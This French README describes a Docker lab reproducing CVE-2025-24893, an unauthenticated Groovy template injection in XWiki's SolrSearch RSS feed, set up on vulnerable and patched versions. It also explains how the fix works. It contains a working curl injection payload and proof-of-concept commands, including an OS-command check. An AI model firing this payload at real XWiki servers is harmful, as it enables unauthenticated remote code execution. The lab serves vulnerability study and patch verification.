CVE-2025-24893 - XWiki SolrSearch SSTI vers RCE non authentifiée

Un laboratoire Docker autonome qui reproduit CVE-2025-24893, une injection de modèles côté serveur (Server-Side Template Injection) dans le flux RSS SolrSearch d'XWiki qui mène à une exécution de code à distance non authentifiée. Il exécute la version vulnérable 15.10.10 et la version corrigée 15.10.11, afin que la même requête puisse être montrée comme aboutissant sur l'une et échouant sur l'autre.

Note sur l'utilisation d'outils d'IA. En préparant ce projet, j'ai fait un usage limité de deux assistants IA --- Claude Opus 4.8 d'Anthropic et DeepSeek-V4-Flash-0731 --- pour la recherche documentaire et d'approche, pour la revue de code et pour peaufiner le wording du fichier README.md et du rapport LaTeX. Leur contribution a été marginale et strictement subordonnée à mes propres décisions.

1. Prérequis

Docker Engine et Docker Compose v2 (la sous-commande docker compose, pas l'ancien binaire docker-compose). Notez les versions pour le rapport avec docker --version et docker compose version.
Environ 2 Go de RAM libre pour le conteneur XWiki (le tas JVM est fixé à 1 Go) plus MySQL.
Fonctionne sur amd64 et arm64 (Apple Silicon inclus) : l'image de base tomcat:9-jre17, mysql:8.4 et le pilote JDBC purement Java sont tous multi-architectures.
Accès Internet uniquement lors du premier build, pour télécharger le WAR XWiki et le pilote JDBC, tous deux vérifiés par somme de contrôle.

2. Structure

cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnérable)
├── docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (corrigé)
├── exploit.py                    # preuve de concept en bibliothèque standard
├── figures/
│   ├── Figure 1.png
│   ├── Figure 2.png
│   ├── Figure 3.png
│   └── Figure 4.png
├── mysql/
│   └── init.sql                  # privilèges pour l'utilisateur BDD xwiki
└── xwiki-build/                  # build de l'image, épinglé à la version exacte par SHA-256
    ├── Dockerfile
    ├── tomcat/
    │   └── setenv.sh
    └── xwiki/
        ├── docker-entrypoint.sh
        └── hibernate.cfg.xml

La seule différence entre les deux piles est la version d'XWiki. Tout le reste, y compris l'image de la base de données et le pilote JDBC, est identique, donc tout changement de comportement est dû au correctif et à rien d'autre.

3. Reproduire la vulnérabilité (15.10.10)

Build et démarrage :

docker compose -f docker-compose.vuln.yml up --build -d

Le premier build télécharge et décompresse XWiki, ce qui prend quelques minutes. Attendez que Tomcat signale son démarrage :

docker compose -f docker-compose.vuln.yml logs -f xwiki   # attendre "Server startup in ..."

Terminez la configuration unique de premier démarrage : ouvrez http://localhost:8080 et complétez l'Assistant de distribution (installez la saveur XWiki Standard par défaut). Cela provisionne l'interface SolrSearch que l'exploit cible. Le point de terminaison est accessible aux invités, donc l'attaque elle-même ne nécessite aucune connexion ; cette configuration initiale est la seule étape qui en nécessite une.

Déclenchez l'exploit (non authentifié) :

python3 exploit.py http://localhost:8080

Sortie attendue sur la pile vulnérable :

[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.

Montrez éventuellement que l'exécution atteint le système d'exploitation avec une commande en lecture seule :

python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...

La même requête en une ligne curl :

curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnérable -> affiche arith=42

Capturez une capture d'écran de la sortie pour le rapport, puis arrêtez et nettoyez :

docker compose -f docker-compose.vuln.yml down          # ajoutez -v pour aussi supprimer les volumes

4. Reproduire le correctif (15.10.11)

docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki   # attendre "Server startup in ..."

Complétez à nouveau l'Assistant de distribution sur http://localhost:8080, puis lancez l'exploit identique :

python3 exploit.py http://localhost:8080

Sortie attendue sur la pile corrigée :

[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).

Capturez aussi cette capture d'écran, puis réinitialisez :

docker compose -f docker-compose.patched.yml down -v

Pourquoi le correctif fonctionne

Dans 15.10.10, le bloc de sortie du flux émet le flux comme une expression Velocity brute ($xwiki.feed.getFeedOutput($feed, 'rss_2.0')), donc le flux - qui reflète le texte de recherche de l'utilisateur - est repassé dans le pipeline de rendu d'XWiki, où une macro {{groovy}} intégrée est exécutée. Dans 15.10.11, ce bloc est remplacé par un appel à une nouvelle macro rawResponse (SolrSearchMacros.xml ligne 954 ; la macro est définie dans templates/macros.vm). rawResponse définit explicitement le type de contenu (application/rss+xml), écrit les octets du flux directement dans la réponse avec $response.writer.print(...), et appelle $xcontext.setFinished(true) pour stopper tout rendu supplémentaire, de sorte que le flux est envoyé tel quel et que le bloc {{groovy}} intégré n'est jamais évalué. Commit du correctif 67021db9b8ed26c2236a653269302a86bf01ef40, avis de sécurité GHSA-rr6p-3pfg-562j. L'avis donne aussi une solution manuelle : modifier pour utiliser le même motif , ce qui neutralise la faille sans mettre à niveau.

5. Déterminisme et réinitialisation

Épinglé : les versions XWiki (15.10.10 et 15.10.11), les sommes de contrôle SHA-256 du WAR et du pilote JDBC, l'image de base tomcat:9-jre17, la base de données mysql:8.4 et le port 8080.
Réinitialisez l'état avec docker compose -f <file> down -v ; le prochain up réinitialise tout de zéro.
Les identifiants (xwiki/xwiki, root xwiki-root) sont réservés à ce laboratoire local.
Les deux piles utilisent des noms de projet Compose différents, donc leurs volumes n'entrent jamais en collision. Ne lancez pas les deux en même temps, car les deux publient le port 8080.

6. Vérifiez vous-même les sommes de contrôle épinglées

for V in 15.10.10 15.10.11; do
  curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
  echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# attendu : 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
#           15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c

curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# attendu : d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5

Attribution

xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) et mysql/init.sql sont adaptés ou vendus depuis le build officiel d'XWiki, https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1). Le Dockerfile diffère de l'image amont de trois petites façons documentées : (1) la version et la somme de contrôle XWiki et JDBC sont passées comme arguments de build, donc un seul fichier construit à la fois l'image vulnérable et l'image corrigée ; (2) un chmod +x explicite garantit que le point d'entrée est exécutable même si les permissions Unix sont perdues lorsque les fichiers sont décompressés ou transférés ; et (3) un commentaire amont obsolète faisant référence à un fichier .env (inutilisé ici) a été corrigé. XWiki est protégé par le droit d'auteur de l'équipe de développement XWiki.

Populaires

CVE-2025-24893_Analysis